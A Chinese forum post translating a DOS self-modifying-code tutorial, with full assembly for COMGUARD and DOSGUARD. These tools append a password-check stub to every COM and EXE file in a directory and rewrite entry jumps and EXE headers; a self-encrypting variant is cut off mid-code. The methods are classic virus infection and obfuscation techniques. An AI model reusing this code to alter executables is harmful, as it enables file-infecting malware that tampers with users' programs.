首页
论坛
专栏
课程

[乱][译]被人忘却的DOS平台全套SMC技术

2005-5-24 08:44 5859

[乱][译]被人忘却的DOS平台全套SMC技术

2005-5-24 08:44
5859
[来源]蛋的帖子

[原文网址]http://www.twopunks.org/jsimpson/smc/smc.html

[译者]aalloverred

[开始]

自修改代码(SMC)工程1

目的
学习修改DOS COM文件的代码段所需的基本技术,并且编写一个实现它实际的程序.

程序描述

程序COMGUARD.COM是一个DOS程序,它将修改同一目录下其他所有COM文件的代码段,向其添加代码
要求用户输入密码才能继续执行程序.

COM文件的结构

和EXE文件格式不同,程序员没有COM文件段格式的输入口.所有的COM文件都只包含一个段,数据和代码
之间没有定义分界.DOS做好一些准备工作后,COM文件就在偏移100h处载入.前256个字节是众所周知的
程序段前缀(Program Segment Prefix,PSP).偏移80h处是一个叫做数据交换区(Data Transfer Area,DTA)的重要数
据结构.DTA很重要,而对PSP的其余大部分,程序员都可以不去管.在实际开始执行COM程序之前,DOS在段

的顶部设置堆栈.

COMGUARD执行时的大体轮廓

1.搜索当前目录下的".com"后缀的文件.
2.打开文件读取前5个字节.
3.通过验证第4个和第5个字节是否与COMGUARD的表示字符串"CG"相吻合来判断文件是否已经被

COMGUARD修改过.
4.确认文件真的不是一个EXE文件,因为DOS 6.0以后一些".com"结尾的文件实际也是EXE文件.
5.确认文件不是太大--COMGUARD将自己的代码填入后,它的大小不能超过64k的段大小.
6.如果文件通过了3-5的检验,那么表示可以修改,所以COMGUARD将自己的实现验证代码加入到文件尾部.
7.计算跳转到验证代码的大小,然后将跳转指令和标识字符串加入文件头部.
8.跳到第1步重复执行,直到当前目录下所有的文件都检验完毕.

被修改的程序执行时的大体轮廓
1.跳到程序主体尾部的验证代码处.
2.计算病毒编写者所谓的Delta偏移量(Delta Offset).这一步是必需的,因为数据通常都是通过绝对地址引用的,
而绝对地址在每个由COMGUARD处理过的程序中是不同的.
3.要求输入密码,如果答案错误就退回DOS.
4.如果密码正确就恢复前5个字节,并从那里继续执行,就好像COMGUARD从来不曾存在过一样.

下一步

添加修改EXE文件格式的功能.

.model tiny
.code

  ORG  100h

START:
  jmp  BEGINCODE    ;跳过验证字符串
  DB  'CG'

BEGINCODE:
  mov  ah, 4Eh      ;搜索与指定后缀匹配的文件
  mov  dx, offset filter
  int  21h

SLOOP:
  jc  DONE
  mov  ax, 3D02h    ;以R/W方式打开文件
  mov  dx, 9Eh      ;文件名,存在了DTA中
  int  21h
  mov  bx, ax      ;文件句柄存入bx
  mov  ax, 3F00h    ;从文件中读取前5个字节
  mov  cx, 5
  mov  dx, offset obytes
  int  21h

  ;检验,看文件是够已经被修改过了
  ;如果是,跳过
  cmp  word ptr [obytes + 3], 'GC'
  je  NOINFECT

  ;校验看看文件是不是实际上是一个EXE文件
  cmp  word ptr[obytes], 'ZM'
  je NOINFECT

  ;确定文件不是太大
  mov  ax, ds:[009Ah]    ;文件大小
  add  ax, offset ENDGUARD - offset COMGUARD + 100h
  jc  NOINFECT    ;如果ax溢出就不再修改

  ;如果到了这里,我们认为文件没有问题可以修改
  xor  cx, cx                  ;cx = 0
  xor   dx, dx      ;dx = 0
  mov  ax, 4202h    ;文件指针指向文件尾部
  int  21h

  mov  ax, 4000h    ;将代码写入文件尾部
  mov  dx, offset COMGUARD
  mov  cx, offset ENDGUARD - offset COMGUARD
  int  21h

  mov  ax, 4200h    ;指针移至文件头部
  xor  cx, cx      ; 以写入跳转
  xor   dx, dx
  int  21h

  ;准备好将要写入文件头部的跳转指令
  xor  ax, ax
  mov  byte ptr [bytes], 0E9h  ; jmp的操作码
  mov  ax, ds:[009Ah]    ;文件大小
  sub  ax, 3      ;跳转指令的大小
  mov  word ptr [bytes + 1], ax;跳转的大小

  ;写入跳转
  mov  cx, 5;      ;要写入的大小
  mov  dx, offset bytes
  mov  ax, 4000h
  int  21h

  mov  ah, 3Eh      ;关闭文件
  int  21h

NOINFECT:
  mov  ax, 4F00h    ;查找下一个文件
  int  21h
  jmp  SLOOP

DONE:

  mov  ax, 4C00h    ;DOS终止
  int  21h

COMGUARD:
  call  GET_START

GET_START:
  pop  bp
  sub  bp, offset GET_START

  mov  ah, 9h       ;DOS现实字符串功能
  lea  dx, [bp + prompt]       ;显示密码提示
  int  21h
  lea  di, [bp + guess]
  xor  cx, cx

READLOOP:
  mov   ah, 7h      ;无回应的读取
  int  21h
  inc  cx                      ;输入的字符的个数
  stosb                           ;存储猜测字符串供以后比较使用
  cmp  cx, 10                  ;限制猜测字符串在10个字符(包含CR)
  je  CHECKPASS
  cmp  al, 13                  ;读到CR结束循环
  jne  READLOOP

CHECKPASS:
  lea  di, [bp + guess]  ;准备验证密码循环
  lea  si, [bp +passwd]        ;准备cmpsb的地址
  xor  cx, cx                  ;计数器置0
  cld                             ;告知cmpsb对si和di增1

CHECKLOOP:
  cmpsb                           ;将密码和猜测字符串比较
  jne  FAIL                    ;密码错误就退出程序
  inc  cx      ;增1记数
  cmp  cx, 8                   ;只校验前8个字符
  jne  CHECKLOOP               ;循环至前8个字符读完

SUCCESS:
  mov  cx, 5
  cld
  lea  si, [bp + obytes]
  mov  di, 100h
  rep  movsb
  push  100h      ;由跳转返回去执行
  ret                             ;主程序

FAIL:
  mov  ah, 9h      ;DOS显示字符串功能
  lea  dx, [bp + badpass]      ;显示密码错误信息
  int  21h
  mov  ax, 4C00h
  int  21h

prompt  DB  'password: ','$'
badpass  DB  'Invalid password!','$'
passwd  DB   'smcrocks'
guess  DB  10 dup (0)
obytes  DB  0,0,0,0,0

ENDGUARD:
filter  DB  '*.com',0
bytes  DB  0,0,0,'CG'

END START

自修复代码(SMC)工程2

目的
学习修改DOS EXE文件的代码段所需的基本技术,并且编写一个实现它实际的程序.

程序描述

程序DOSGUARD.COM是一个DOS程序,它将修改同一目录下其他所有COM和EXE文件的代码段,向其添加
代码要求用户输入密码才能继续执行程序.

EXE文件的结构

EXE文件格式比COM文件格式复杂得多.很大的一个不同就是EXE文件允许程序它自己指定想要如何在内
存中分布各个段,这使程序能够超过一个段64k的大小.大部分EXE都有分开的代码,数据和堆栈段.

所有这些信息都存储在EXE头部.下面是一个文件头部大体概要.

偏移        大小        域
  0        2          Signature.  总是 'MZ'.
  2          2         Last Page Size.  最后一个内存页的字节数.
  4          2          Page Count.  文件中512字节页的个数.
  6          2          Relocation Table Entries. 重定位指针表中的项目个数.
  8          2          Header Size.  段中的头的大小,包括重定位指针表.
  10         2          Minalloc
  12          2          Maxalloc
  14         2          Initial Stack Segment.
  16          2          Initial Stack Pointer.
  18          2          Checksum.  (通常都被忽略)
  20          2          Initial Instruction Pointer
  22          2          Initial Code Segment
  24          2          Relocation Table Offset.  重定位指针表的偏移地址.
  26          2          Overlay Number.  主执行文件(我们要修改的那个) 通常将此设为0.

EXE文件头部以后就是重定位指针表,还有头部和表头之间一段不定大小的空白空间.重定位表是包含一堆
偏移地址的表.这些地址加上由DOS计算出来的起始段值指向内存中一个字,它是最后的段地址被写入的地
方.本质上讲,重定位指针表是DOS处理物理内存中段的动态偏移的方法.这对COM文件来说不是个问题,因
为只有一个段,程序不用考虑其它东西.重定位指针表后面又是一段不定大小的保留空间,最后是文件主体.

要成功的向EXE文件中添加代码需要对EXE文件头部和重定位指针表小心的操作.

DOSGUARD的简要描述

DOSGUARD是DOS下一个小工具,它会向它所在目录下的所有DOS EXE和COM文件下添加代码.
DOSGUARD将会略过windows和OS/2的可执行文件,且只修改只有足够空间的COM文件.当然,它也不会修
改自身和已经被修改过的文件.被成功修改的文件在执行前将会提示用户输入密码. DOSGUARD可以作为
向DOS EXE添加修改代码所必需步骤的不错的范例.同样它也演示了代码修正的一个实用的应用.

DOSGUARD执行情况概览

DOSGUARD开始先查找和修改统一文件夹下所有的COM文件.这里我们忽略COM修改的细节,因为它已经
在它的小兄弟COMGUARD的描述文档了讲述的足够详细了.DOSGUARD将COM文件修改部分直接从
COMGUARD借鉴了过来.

下一步,DOSGUARD就得搜索EXE文件并且判定哪些可以安全的修改.首先,它先检验文件的开始两个字节确

定它们是 'MZ',这是所有EXE文件的共有的标志.然后,DOSGUARD要确认文件还没有被修改过.如果下面
的等式成立,那就说明文件已经被DOSGUARD修改了:

(初始CS*16)+9Fh+EXE文件头的大小(字节计)==文件大小

9Fh是DOSGUARD向它所要修改的文件尾部加入的代码的长度(字节数).所以,EXE文件头部存储的初始的
CS加上初始的IP(这种情况下总是为0所以在等式中被省去了)正好是从文件尾部起9Fh字节处.如果文件被
DOSGUARD修改过,这两个数加上EXE头大小(程序确定段偏移地址时会将它忽略)就等于文件的大小.而且,
DOSGUARD只修改主可执行文件,因此还要通过检验确定文件头部的Overlay Number为0.

DOSGUARD同样还得避免修改非DOS可执行文件,像Windows或者OS/2中的可执行文件.DOSGUARD通过检
验重定位指针表的偏移地址来做到这一点.如果这个偏移比40h大,那么这个EXE大概就是Windows或者OS/2
中的可执行文件了.这种方法有个问题,就是它有时也会导致DOSGUARD略过合法的DOS可执行文件.

一旦一个文件被确认是可以安全修改的,DOSGUARD就将自己的代码拷贝到文件尾部,并确定这些代码的起

始CS和IP.这些
值将要成为新的起始段值,因此新加入的代码会在主程序执行前执行.修改程序执行完了以后,并且如果给出

了正确的密
码,它就会跳到原来的起始CS和IP值从而执行主程序.

修改一个EXE文件的具体步骤

1.检验重定位指针表确定程序内有空间

DOSGUARD必须在重定位指针表中加入两项.每一项都是一个双字(4字节)大小的指针.因为重定位指针表是

EXE头的一部
分,而为了适应多加入的8个字节将头部扩展一段是可能的.扩展头部需要读取头部以后的整个文件,并将其

写回到一段
下面.同样,头部必须被修改的非常恰当(最后页大小,页数目,和头大小都修要修改). 无论哪种情况,头部中重

定位表的项目数都必须加2.

2.保存原始的ss,sp,cs,和ip.

这四个值必须从EXE文件头部拷贝存储到将要加入到EXE文件的代码里.

3.调整文件长度适应段的边界.

为了简化新代码的起始IP,文件长度扩展到了一个段的边界(16的倍数).这样就使新代码的IP总是为0,从而使

得计算新
起始代码段变得容易些.

4.向文件最后写入代码.

在文件的尾部写入我们想要加入的代码.

5.调整文件头的大小,并将其写入到文件里.

修改EXE文件的头部来反映(适应)我们所作的修改:

初始CS=(假如代码前的文件大小)/16-(段中的头部大小)
初始IP=0
初始SS=与初始CS相同(我们所有的代码操作都在同一个段里)
初始SP=我们加入的代码的大小+100h
重新计算最后页大小和页数量
将重定位表中的项目加2

6.修改重定位表

我们要在重定位表的最后加入两个4字节的指针.这两个指针的段将要和我们代码的初始CS值相等.这些偏

移地址会指向
初始的SS和CS.DOSGUARD中它们对应着偏移地址"hosts"和"hostc+2".所以最后的结果是指向我们的代码初

始SS和CS值
的地址.

插入代码要负的责任

有几个问题在我们加入的代码中必须考虑.第一,代码结束后寄存器的状态等必须正好是原来程序所期望的

值.比如,ax被
DOS置位来指示FCB中存储的Drive ID是否合法.所以ax的值必须由我们的程序保护起来.同样,原程序有可能

希望其他
某些寄存器的值为0.当然,段寄存器的值也需要在我们的代码执行完后恢复.
另一个事项就是插入的代码对其数据引用不能依靠绝对地址.所以DOSGUARD通过其相对文件尾的偏移来

访问所有数据.

参考

The Giant Black Book of Computer Viruses, 2nd Edition.  Mark Ludwig
DOS Programmer's Reference.  Terry R. Dettmann

.model tiny
.code

  ORG  100h

START:
  jmp  BEGINCODE    ;跳过标识字符串
  DB  'CG'

BEGINCODE:

  mov  dx, offset filter1
  call  FIND_FILES
  mov  dx, offset filter2
  call  FIND_FILES

  mov  ax, 4C00h    ;DOS终止功能
  int  21h

;-------------------------------------------------------------------------
;查找然后修改文件的子程序
;-------------------------------------------------------------------------
FIND_FILES:

  mov  ah, 4Eh      ;搜索与指定后缀匹配的文件
  int  21h

SLOOP:
  jc  DONE
  mov  ax, 3D02h    ;以R/W方式打开文件
  mov  dx, 9Eh      ;文件名,存在了DTA中
  int  21h
  mov  bx, ax      ;文件句柄存入bx
  mov  ax, 3F00h    ;从文件中读取前5个字节
  mov  cx, 5
  mov  dx, offset obytes
  int  21h

  ;检验是否真正是个EXE文件
  cmp  word ptr[obytes], 'ZM'
  je   EXE

COM:
  ;检验,看文件是够已经被修改过了
  ;如果是,跳过
  cmp  word ptr [obytes + 3], 'GC'
  je  NO_INFECT

  ;确定文件不是太大
  mov  ax, ds:[009Ah]    ;文件大小
  add  ax, offset ENDGUARD - offset COMGUARD + 100h
  jc  NO_INFECT    ;如果ax溢出就不再修改

  ;如果到了这里,我们认为文件没有问题可以修改
  call  INFECT_COM
  jmp  NO_INFECT

EXE:
  ;读取EXE头部
  call   READ_HEADER
  jc  NO_INFECT    ;读取错误所以跳过

  ;确认文件没有被修改过
  ;如果 (初始CS*16)+9Fh+EXE文件头的大小(字节计)==文件大小
  ;那说明文件已经被修改过
  mov  ax, word ptr [exehead+22]
  mov  dx, 16
  mul  dx
  add  ax, offset ENDGUARD2 - offset EXEGUARD
  adc  dx, 0
  mov  cx, word ptr [exehead+8]
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  ax, cx
  adc  dx, 0
  cmp  ax, word ptr cs:[9Ah]
  jne  EXEOK
  cmp  dx, word ptr cs:[9Ch]
  je  NO_INFECT

EXEOK:
  ;确认Overlay Number是0
  cmp  word ptr [exehead+26], 0
  jnz  NO_INFECT

  ;确认这是一个DOS EXE文件(而非windows或OS/2文件)
  cmp  word ptr [exehead+24], 40h
  jae  NO_INFECT

  call   INFECT_EXE

NO_INFECT:
  mov  ax, 4F00h    ;查找下一个文件
  int  21h
  jmp  SLOOP

DONE:

  ret

;-------------------------------------------------------------------------
;修改COM文件的子程序
;-------------------------------------------------------------------------
INFECT_COM:
  xor  cx, cx                  ;cx = 0
  xor   dx, dx      ;dx = 0
  mov  ax, 4202h    ;文件指针指向文件尾部
  int  21h

  mov  ax, 4000h    ;将代码写入文件尾部
  mov  dx, offset COMGUARD
  mov  cx, offset ENDGUARD - offset COMGUARD
  int  21h

  mov  ax, 4200h    ;指针移至文件头部
  xor  cx, cx      ; 以写入跳转
  xor   dx, dx
  int  21h

  ;准备好将要写入文件头部的跳转指令
  xor  ax, ax
  mov  byte ptr [bytes], 0E9h  ; jmp的操作码
  mov  ax, ds:[009Ah]    ;文件大小
  sub  ax, 3      ;跳转指令的大小
  mov  word ptr [bytes + 1], ax;跳转的大小

  ;写入跳转
  mov  cx, 5;      ;要写入的大小
  mov  dx, offset bytes
  mov  ax, 4000h
  int  21h

  mov  ah, 3Eh      ;关闭文件
  int  21h

  ret

;-------------------------------------------------------------------------
;修改EXE文件的子程序
;-------------------------------------------------------------------------
INFECT_EXE:

  ;检查重定位指针表看是否还有空间
  ;如果没有空间我们就得自己制造些空间.
  mov  ax, word ptr [exehead+8];头大小(一段计)
  add  ax, ax                  ;
  add  ax, ax                  ;转化为双字.
  sub  ax, word ptr [exehead+6];减去双字大小的各个项目总和数
  add  ax, ax                  ;然后
  add  ax, ax                  ;将最后结果转化为字节数.
  sub  ax, word ptr [exehead+24];如果减去重定位表的偏移地之后
  cmp  ax, 8                    ;仍有8字节剩余
  jc  NOROOM                   ;那说明还有空间.
  jmp  HAVEROOM

NOROOM:
  ;从定位表中没有空间所以我们要向表中
  ;增加一段.因此,我们必须读入重定位表后的整个文件
  ;并将它们写回内存中向下偏移一个段大小的地方.
  xor  cx, cx                  ;将文件指针指向
  mov  dx, word ptr [exehead+24]  ;重定位表尾部.
  mov  ax, word ptr [exehead+6];以双字计的重定位表大小
  add  ax, ax                  ;* 4得到字节数
  add  ax, ax
  add  dx, ax                  ;将结果加入表起始处
  push  dx
  mov  ax, 4200h
  int  21h

  pop     dx
  call  CALC_SIZE
  cmp  cx, 1
  je  LASTPAGE

  mov  dx, offset buffer
  call  READ_PAGE
  mov  dx, offset para
  call  READ_PARA
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  je  LASTPAGE

MOVELOOP:
  mov  dx, offset buffer + 16
  call  READ_PAGE
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  jne  MOVELOOP

LASTPAGE:
  sub  word ptr [lps], 16
  mov  cx, word ptr [lps]
  mov  dx, offset buffer + 16
  mov  ah, 3Fh
  int  21h
  push   cx
  mov  dx, cx
  neg  dx
  mov  cx, -1
  mov  ax, 4201h
  int  21h
  pop  cx
  add  cx, 16
  mov  dx, offset buffer
  mov  ah, 40h
  int  21h

  ;因为以后要用,必须调整文件大小
  add  word ptr cs:[9Ah], 16
  adc  word ptr cs:[9Ch], 0

  ;EXE头内部的头部大小值增1
  add  word ptr cs:[exehead+8], 1

  ;改变EXE头中Page Count和Last Page大小
  cmp  word ptr [exehead+2], 496
  jae  ADDPAGE
  add  word ptr [exehead+2], 16
  jmp  HAVEROOM

ADDPAGE:
  ;如果16个多于字节越到了新的一页,
  ;就调整头部增加一页.
  inc  word ptr [exehead+4]
  mov  ax, 512
  sub  ax, word ptr [exehead+2]
  mov  dx, 16
  sub  dx, ax
  mov  word ptr [exehead+2], dx

HAVEROOM:
  mov  ax, word ptr [exehead+14] ;保存原堆栈段
  mov  [hosts], ax
  mov  ax, word ptr [exehead+16] ;保存原堆栈指针
  mov  [hosts+2], ax
  mov  ax, word ptr [exehead+20] ;保存原ip
  mov  [hostc], ax
  mov  ax, word ptr [exehead+22] ;保存原cs
  mov  [hostc+2], ax

  mov  cx, word ptr cs:[9Ch]   ;调整文件长度到段的
  mov  dx, word ptr cs:[9Ah]   ;边界
  or  dl, 0Fh
  add  dx, 1
  adc  cx, 0
  mov  cs:[9Ch], cx
  mov  cs:[9Ah], dx
  mov  ax, 4200h    ;文件指针移到文件尾部
  int  21h                     ;加上边界

  mov  cx, offset ENDGUARD2 - offset EXEGUARD  ;代码写入
  mov  dx, offset EXEGUARD                     ;exe文件尾部
  mov  ah, 40h
  int  21h

  xor  cx, cx      ;指针移至文件头部
  xor  dx, dx
  mov  ax, 4200h
  int  21h

  ;调整EXE头部然后写回
  mov  ax, word ptr cs:[9Ah]  ;计算模块CS
  mov  dx, word ptr cs:[9Ch]      ;ax:dx包含了原文件大小
  mov  cx, 16                  ;CS=文件大小/16-头大小
  div  cx
  sub  ax, word ptr [exehead+8];头大小
  mov  word ptr [exehead+22], ax ;ax是现在的初始cs
  mov  word ptr [exehead+14], ax ;ax是现在的初始ss
  mov  word ptr [exehead+20], 0  ;初始ip
  mov  word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;初始sp

  mov  dx, word ptr cs:[9Ch]  ;计算新的文件大小
  mov  ax, word ptr cs:[9Ah]
  add  ax, offset ENDGUARD2 - offset EXEGUARD + 200h
  adc  dx, 0
  mov  cx, 200h
  div  cx
  mov  word ptr [exehead+4], ax
  mov  word ptr [exehead+2], dx
  add  word ptr [exehead+6], 2

  mov  cx, 1Ch      ;写入新的头部
  mov  dx, offset exehead
  mov  ah, 40h
  int  21h

  ;修改重定位表
  mov  ax, word ptr [exehead+6];得到重定位表的数目#
  dec  ax                      ;增加表的位置等于
  dec  ax                      ;(#-2)*4+表的偏移
  mov  cx, 4
  mul   cx
  add  ax, word ptr [exehead+24]
  adc  dx, 0
  mov  cx, dx
  mov  dx, ax
  mov  ax, 4200h               ;文件指针移至位置
  int  21h

  ;将exe头作为重定位表的一个缓冲.
  ;将两个指针放入缓冲,第一个指向hosts的ss
  ;第二个指向hostc中的cs.
  mov  word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
  mov  ax, word ptr [exehead+22]
  mov  word ptr [exehead+2], ax
  mov  word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
  mov  word ptr [exehead+6], ax
  mov  cx, 8
  mov  dx, offset exehead
  mov  ah, 40h             ;写8个字节.
  int  21h
  mov  ah, 3Eh                 ;关闭文件.
  int  21h

  ret                             ;完成!

;-------------------------------------------------------------------------
;计算需要写入的大小的子过程
;-------------------------------------------------------------------------
CALC_SIZE:
  ;dx中存有我们要读取的文件中的开始位置.
  ;这样,要读入的和写回的大小就等于文件大小
  ;减去dx.

  mov  cx, word ptr [exehead+2]
  mov  word ptr [lps], cx     ;拷贝Last Page Size到lps
  mov  cx, word ptr [exehead+4];拷贝Num Pages到cx

  cmp  dx, word ptr [lps]      ;如果要减去的字节数比
  jbe  FINDLPS                 ;lps小就让两者相减然后退出
  mov  ax, dx
  xor  dx, dx
  mov  cx, 512
  div  cx      ;ax=要减去的页
  mov  cx, word ptr [exehead+4];dx=要从lps减去的余数
  sub  cx, ax
  cmp  dx, word ptr [lps]
  jbe  FINDLPS
  sub  cx, 1
  mov  ax, dx
  sub  ax, word ptr [lps]
  mov  dx, 512
  sub  dx, ax

FINDLPS:
  sub  word ptr [lps], dx      ;减去其实位置而保持
          ;Num Pages不变

  ret

;-------------------------------------------------------------------------
;读取EXE头部的子过程
;-------------------------------------------------------------------------
READ_HEADER:
  xor  cx, cx                  ;将文件指针移回到
  xor  dx, dx                  ;文件开始
  mov  ax, 4200h
  int   21h
  mov  cx, 1Ch      ;读取文件头(28字节)
  mov  dx, offset exehead  ;到内存
  mov  ah, 3Fh
  int  21h

  ret        ;cf设置恰当后返回

;-------------------------------------------------------------------------
;读取一页的子过程
;-------------------------------------------------------------------------
READ_PAGE:
  push  ax
  push  cx

  mov  ah, 3Fh
  mov  cx, 512
  int  21h

  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;读取一段的子过程
;-------------------------------------------------------------------------
READ_PARA:
  push  ax
  push  cx

  mov  ah, 3Fh
  mov  cx, 16
  int  21h

  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;写入一页的子过程
;-------------------------------------------------------------------------
WRITE_PAGE:
  push  ax
  push  cx
  push  dx

  mov  ah, 40h
  mov  cx, 512
  mov  dx, offset buffer
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;写入一段的子过程
;-------------------------------------------------------------------------
WRITE_PARA:
  push  ax
  push  cx
  push  dx

  mov  ah, 40h
  mov  cx, 16
  mov  dx, offset buffer
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将文件指针向后移动一页的子过程
;-------------------------------------------------------------------------
DECFP_PAGE:
  push  ax
  push  cx
  push  dx

  mov  ax, 4201h
  mov  cx, -1
  mov  dx, -512
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将文件指针向后移动一段的子过程
;-------------------------------------------------------------------------
DEC_PARA:
  push  ax
  push  cx
  push  dx

  mov  ax, 4201h
  mov  cx, -1
  mov  dx, -16
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将段缓存移到前面的子过程
;-------------------------------------------------------------------------
MOVE_PARA:
  push   cx

  mov  si, offset para
  mov  di, offset buffer
  mov  cx, 16
  rep  movsb

  pop  cx

  ret

;-------------------------------------------------------------------------
;要加入到COM文件中的代码
;-------------------------------------------------------------------------
COMGUARD:
  call  GET_START

GET_START:
  pop  bp
  sub  bp, offset GET_START

  mov  ah, 9h       ;DOS现实字符串功能
  lea  dx, [bp + prompt]       ;显示密码提示
  int  21h
  lea  di, [bp + guess]
  xor  cx, cx

READLOOP:
  mov   ah, 7h      ;无回应的读取
  int  21h
  inc  cx                      ;输入的字符的个数
  stosb                           ;存储猜测字符串供以后比较使用
  cmp  cx, 10                  ;限制猜测字符串在10个字符(包含CR)
  je  CHECKPASS
  cmp  al, 13                  ;读到CR结束循环
  jne  READLOOP

CHECKPASS:
  lea  di, [bp + guess]  ;准备验证密码循环
  lea  si, [bp +passwd]        ;准备cmpsb的地址
  xor  cx, cx                  ;计数器置0
  cld                             ;告知cmpsb对si和di增1

CHECKLOOP:
  cmpsb                           ;将密码和猜测字符串比较
  jne  FAIL                    ;密码错误就退出程序
  inc  cx      ;增1记数
  cmp  cx, 8                   ;只校验前8个字符
  jne  CHECKLOOP               ;循环至前8个字符读完

SUCCESS:
  mov  cx, 5
  cld
  lea  si, [bp + obytes]
  mov  di, 100h
  rep  movsb
  push  100h      ;由跳转返回去执行
  ret                             ;主程序

FAIL:
  mov  ah, 9h      ;DOS显示字符串功能
  lea  dx, [bp + badpass]      ;显示密码错误信息
  int  21h
  mov  ax, 4C00h
  int  21h

prompt  DB  'password: ','$'
badpass  DB  'Invalid password!','$'
passwd  DB   'smcrocks'
guess  DB  10 dup (0)
obytes  DB  0,0,0,0,0

ENDGUARD:

;-------------------------------------------------------------------------
;要加入到EXE文件中的代码
;-------------------------------------------------------------------------
EXEGUARD:
  push  ax      ;将ax的开始值保存
  push   ds      ;保存ds的值
  mov  ax, cs                  ;将cs放入ds和es
  mov  ds, ax
  mov  es, ax
  mov  bp, offset ENDGUARD2 - offset EXEGUARD
  mov  ax, [bp-4]

  mov  ah, 9h       ;DOS显示字符串功能
  lea  dx, [bp-57]    ;显示密码提示
  int  21h
  lea  di, [bp-20]
  xor  cx, cx

EREADLOOP:
  mov   ah, 7h      ;无回应的读取
  int  21h
  inc  cx                      ;输入的字符的个数
  stosb                           ;存储猜测字符串供以后比较使用
  cmp  cx, 10                  ;限制猜测字符串在10个字符(包含CR)
  je  ECHECKPASS
  cmp  al, 13                  ;读到CR结束循环
  jne  EREADLOOP

ECHECKPASS:
  lea  di, [bp-20]       ;准备验证密码循环
  lea  si, [bp-28]        ;准备cmpsb的地址
  xor  cx, cx                  ;计数器置0
  cld                             ;告知cmpsb对si和di增1

ECHECKLOOP:
  cmpsb                           ;将密码和猜测字符串比较
  jne  EFAIL                    ;密码错误就退出程序
  inc  cx      ;增1记数
  cmp  cx, 8                   ;只校验前8个字符
  jne  ECHECKLOOP              ;循环至前8个字符读完

ESUCCESS:
  pop  ds
  mov  ax, ds
  mov  es, ax
  pop  ax

  cli
  mov  ss, word ptr cs:[bp-10]
  mov  sp, word ptr cs:[bp-8]
  sti

         xor  cx, cx
  xor  dx, dx
  xor  bp, bp
  xor  si, si
  xor  di, di
  lahf
  xor   ah, ah
  sahf

  jmp  dword ptr cs:[ENDGUARD2-EXEGUARD-6]

EFAIL:
  mov  ah, 9h      ;DOS显示字符串功能
  lea  dx, [bp-46]    ;显示密码错误信息
  int  21h
  mov  ax, 4C00h
  int  21h

eprompt  DB  'password: ','$'
ebadpass DB  'Invalid password!','$'
epasswd  DB   'smcrocks'
eguess  DB  10 dup (0)
hosts  DW  0, 0
hostc  DW  0, 0
delta  DW  0

ENDGUARD2:

filter1  DB  '*.com',0
filter2 DB      '*.exe',0
bytes  DB  0,0,0,'CG'
exehead DB  28 dup (0)
buffer  DB  512 dup (0)
para  DB  16 dup (0)
lps  DW  0

END START

具有自加密功能的Dosguard.  

.model tiny
.code

  ORG  100h

START:
  jmp  BEGINCODE    ;跳过标识字符串
  DB  'CG'

BEGINCODE:

  mov  dx, offset filter1
  call  FIND_FILES
  mov  dx, offset filter2
  call  FIND_FILES

  mov  ax, 4C00h    ;DOS终止功能
  int  21h

;-------------------------------------------------------------------------
;查找然后修改文件的子程序
;-------------------------------------------------------------------------
FIND_FILES:

  mov  ah, 4Eh      ;搜索与指定后缀匹配的文件
  int  21h

SLOOP:
  jc  DONE
  mov  ax, 3D02h    ;以R/W方式打开文件
  mov  dx, 9Eh      ;文件名,存在了DTA中
  int  21h
  mov  bx, ax      ;文件句柄存入bx
  mov  ax, 3F00h    ;从文件中读取前5个字节
  mov  cx, 5
  mov  dx, offset obytes
  int  21h

  ;检验是否真正是个EXE文件
  cmp  word ptr[obytes], 'ZM'
  je   EXE

COM:
  ;检验,看文件是够已经被修改过了
  ;如果是,跳过
  cmp  word ptr [obytes + 3], 'GC'
  je  NO_INFECT

  ;确定文件不是太大
  mov  ax, ds:[009Ah]    ;文件大小
  add  ax, offset ENDGUARD - offset COMGUARD + 100h
  jc  NO_INFECT    ;如果ax溢出就不再修改

  ;如果到了这里,我们认为文件没有问题可以修改
  call  INFECT_COM
  jmp  NO_INFECT

EXE:
  ;读取EXE头部
  call   READ_HEADER
  jc  NO_INFECT    ;读取错误所以跳过

  ;确认文件没有被修改过
  ;如果 (初始CS*16)+9Fh+EXE文件头的大小(字节计)==文件大小
  ;那说明文件已经被修改过
  mov  ax, word ptr [exehead+22]
  mov  dx, 16
  mul  dx
  add  ax, offset ENDGUARD2 - offset EXEGUARD
  adc  dx, 0
  mov  cx, word ptr [exehead+8]
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  ax, cx
  adc  dx, 0
  cmp  ax, word ptr cs:[9Ah]
  jne  EXEOK
  cmp  dx, word ptr cs:[9Ch]
  je  NO_INFECT

EXEOK:
  ;确认Overlay Number是0
  cmp  word ptr [exehead+26], 0
  jnz  NO_INFECT

  ;确认这是一个DOS EXE文件(而非windows或OS/2文件)
  cmp  word ptr [exehead+24], 40h
  jae  NO_INFECT

  call   INFECT_EXE

NO_INFECT:
  mov  ax, 4F00h    ;查找下一个文件
  int  21h
  jmp  SLOOP

DONE:

  ret

;-------------------------------------------------------------------------
;修改COM文件的子程序
;-------------------------------------------------------------------------
INFECT_COM:
  xor  cx, cx                  ;cx = 0
  xor   dx, dx      ;dx = 0
  mov  ax, 4202h    ;文件指针指向文件尾部
  int  21h

  mov  ax, 4000h    ;将代码写入文件尾部
  mov  dx, offset COMGUARD
  mov  cx, offset ENDGUARD - offset COMGUARD
  int  21h

  ;将代码写回之前先将代码加密
  mov  si, offset ENCRYPTED    ;si和di设置为了加密的
  mov  di, si                  ;起始地址.
  in  al, 40h                 ;从系统始终中获得随机密钥
  mov  [comkey], al            ;加密密钥
  mov  dl, al
  mov  cx, COMCRYPT - ENCRYPTED;钥加密的代码大小
  call  COMCRYPT                ;加密函数

  mov  ax, 4000h    ;将代码写入文件尾部
  mov  dx, offset COMGUARD
